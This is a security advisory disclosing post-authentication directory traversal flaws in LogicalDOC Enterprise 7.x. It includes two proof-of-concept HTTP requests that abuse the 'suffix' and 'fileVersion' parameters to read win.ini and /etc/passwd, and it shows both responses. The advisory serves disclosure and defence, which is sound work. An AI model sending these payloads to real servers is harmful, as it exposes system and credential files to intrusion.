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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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LogicalDOC Enterprise 7.7.4 Multiple Directory Traversal Vulnerabilities


Vendor: LogicalDOC Srl
Product web page: https://www.logicaldoc.com
Affected version: 7.7.4
                  7.7.3
                  7.7.2
                  7.7.1
                  7.6.4
                  7.6.2
                  7.5.1
                  7.4.2
                  7.1.1

Summary: LogicalDOC is a free document management system that is designed
to handle and share documents within an organization. LogicalDOC is a content
repository, with Lucene indexing, Activiti workflow, and a set of automatic
import procedures.

Desc: The application suffers from multiple post-auth file disclosure vulnerability
when input passed thru the 'suffix' and 'fileVersion' parameters is not properly
verified before being used to include files. This can be exploited to read arbitrary
files from local resources with directory traversal attacks.

Tested on: Microsoft Windows 10
           Linux Ubuntu 16.04
           Java 1.8.0_161
           Apache-Coyote/1.1
           Apache Tomcat/8.5.24
           Apache Tomcat/8.5.13
           Undisclosed 8.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5450
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5450.php


26.01.2018

---


PoC #1:

GET /thumbnail?docId=3375114&random=1517220341243&suffix=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
Host: localhost:8080


Response:

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo



PoC #2:

GET /convertpdf?docId=2450&control=preview&fileVersion=../../../../../../etc/passwd HTTP/1.1
Host: localhozt:8080


Response:

HTTP/1.1 200 
Cache-Control: must-revalidate, post-check=0,pre-check=0
Expires: 0
Content-Disposition: attachment; filename="=?UTF-8?B?MDkyMDEyMzEwNTVTUFQgMDA0LnBkZi5wZGY=?="
Pragma: public
Content-Type: application/pdf;charset=UTF-8
Content-Length: 964
Date: Mon, 05 Feb 2018 21:30:59 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
...
...